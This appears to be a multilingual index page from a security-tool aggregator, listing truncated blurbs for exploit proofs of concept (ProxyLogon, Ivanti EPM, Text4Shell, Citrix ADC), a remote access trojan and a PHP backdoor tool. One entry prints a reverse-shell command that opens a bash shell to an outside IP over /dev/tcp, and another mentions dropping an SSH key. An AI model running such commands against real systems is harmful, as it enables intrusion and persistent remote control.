proxylogon

proxylogon proxylogon श्रृंखला Microsoft Exchange Server - CVE-2021-26855 के लिए मेरा एक्सप्लॉइट चलाएँ: एक्सप्लॉइट Impacket पैकेज का उपयोग करता है, इसे इंस्टॉल करने के लिए यह चलाएँ: root@kitploit: user@host:$ python3 -m pip install impacket फिर एक्सप्लॉइट रेपो को क्लोन करें, और एक्सप्लॉइट...

osv-scanner

Use o OSV-Scanner para encontrar vulnerabilidades existentes que afetam as dependências do seu projeto. O OSV-Scanner fornece um frontend oficialmente suportado para o banco de dados OSV e uma interface CLI para o OSV-Scalibr, que conecta a lista de dependências de um projeto às vulnerabilidades...

CVE-2018-11776

Container docker vulnerável para CVE-2018-11776 root@kitploit: docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 root@kitploit: Requisição : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Resultado :...

CVE-2024-29824

CVE-2024-29824: Ivanti EPM SQL इंजेक्शन रिमोट कोड निष्पादन भेद्यता असुरक्षित Ivanti EPM उपकरणों पर ब्लाइंडली कमांड निष्पादित करने के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट। ब्लॉग पोस्ट डीप डाइव और समझौता के संकेतक यहाँ:...

CVE-2019-0986

Pesquisa de Segurança por DIVERSÃO Tudo focado no sistema operacional Microsoft Windows CVE-2019-0986 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0986 Este é o PoC que enviei à Microsoft quando reportei a vulnerabilidade acima Este PoC explora o "User Profile...

Schwarze-Sonne-RAT

Schwarze-Sonne-RAT SS-RAT Schwarze-Sonne-Remote-Access-Trojan...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Joomla की CVE-2015-8562 कमज़ोरी ऑब्जेक्ट इंजेक्शन RCE के लिए एक प्रूफ ऑफ कॉन्सेप्ट परिचय/चेंजलॉग यह PoC exploit-db पर होस्ट किए गए इम्प्लीमेंटेशन का दूसरा संस्करण है। root@kitploit: -Fixed regenerate session -Added the option to switch from X-Forwarded-For to User-Agent method...

CVE-2023-4427

CVE-2023-4427 CVE-2023-4427 foi descoberta por glazunov, e você pode encontrar o RCA no relatório dele. versão do chrome: 117.0.5938.62 no linux do v8ctf. Escolhi um método muito instável. Para contornar o ASLR, use muitos iframes com domínios diferentes em main.html para forçar um endereço alto...

githubFind3r

githubFind3r githubFind3r é uma ferramenta de linha de comando muito rápida para pesquisa de repositórios/usuários/commits descrição da imagem aqui Instalação root@kitploit: git clone https://github.com/atmoner/githubFind3r.git cd githubFind3r npm install Executar root@kitploit: node githubFind3r...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 🔥🔥🔥 Apache commons text - CVE-2022-42889 Text4Shell prova de conceito de exploit. Detalhes📃 CVE-2022-42889 afeta as versões 1.5 a 1.9 do Apache Commons Text. Foi corrigido a partir da versão 1.10 do Commons Text. A vulnerabilidade foi comparada ao Log4Shell por ser uma...

CVE-2024-8353

هذا المنشور هو مقال بحثي نشرته EQSTLab. شكرًا لـcuokon، الذي اكتشف هذه الثغرة الأمنية. مقدمة تحليل إضافي لـ CVE-2024-5932 EQST Insight R&T ملف PDF. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353 ★ CVE-2024-8353 حذف الملفات التعسفي و PoC لتنفيذ الأوام...

CVE-2024-29847

CVE-2024-29847 Prova de conceito para a vulnerabilidade de execução remota de código por desserialização de dados não confiáveis no AgentPortal do Ivanti Endpoint Manager CVE-2024-29847 Uma análise de causa raiz da vulnerabilidade pode ser encontrada no meu blog:...

Remot3d

Remot3d - Uma Maneira Fácil de Explorar Será atualizado em breve É fácil criar uma backdoor em um instante; a backdoor pode ser usada em um processo remoto via terminal Linux no servidor que executa o programa de linguagem PHP. Feito para contornar o sistema que está desabilitado no servidor,...

CVE-2023-3519

CVE-2023-3519 Este modelo do Nuclei verifica a presença da vulnerabilidade CVE-2023-3519 em um servidor web alvo. Vulnerabilidade CVE-2023-3519 é uma vulnerabilidade que permite execução remota de código não autenticada nos appliances Citrix Application Delivery Controller ADC e Gateway. Um...

CVE-2019-11581

CVE-2019–11581 PoC...

CVE-2018-2628-MultiThreading

Vulnerabilidade de desserialização do componente principal do WebLogic WLS CVE-2018-2628 Uso: coloque o ip:port a ser detectado no arquivo url.txt no mesmo diretório. Em seguida, execute: modifique o número de threads na linha 93 do código python CVE-2018-2628-MultiThreading.py Uso: coloque o...

CVE-2019-15514

CVE-2019-15514 Tipo: Divulgação de Informações Usuários, Versões, Dispositivos Afetados: Todos os Usuários do Telegram Ainda não corrigido/patch. brute.py é um exploit disponível escrito em Python. Descrição Suponha que ali seja um hacktivista. O ID de usuário do Telegram dele é 21788973 e o núme...

ATutor-Instructor-Backup-Arbitrary-File

ATutor-Instructor-Backup-Exploit शोषण शीर्षक: ATutor 2.2.4 'Backup' दूरस्थ कमांड निष्पादन CVE-2019-12170 Google Dork: inurl:/ATutor/login.php तारीख: 5/13/2019 शोषण लेखक: liquidsky Joseph McPeters विक्रेता होमपेज: https://atutor.github.io/ सॉफ्टवेयर लिंक:...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

subfinder-action

SubFinder Action GitHub Action के साथ SubFinder को ऑर्केस्ट्रेट करना आसान बनाता है। उपयोग उदाहरण एकल डोमेन के लिए GitHub Action 'SubFinder' चला रहा है root@kitploit: - name: 🔎 SubFinder - DNS Enumeration uses: projectdiscovery/subfinder-action@main with: domain: projectdiscovery.io एकाधिक डोमेन क...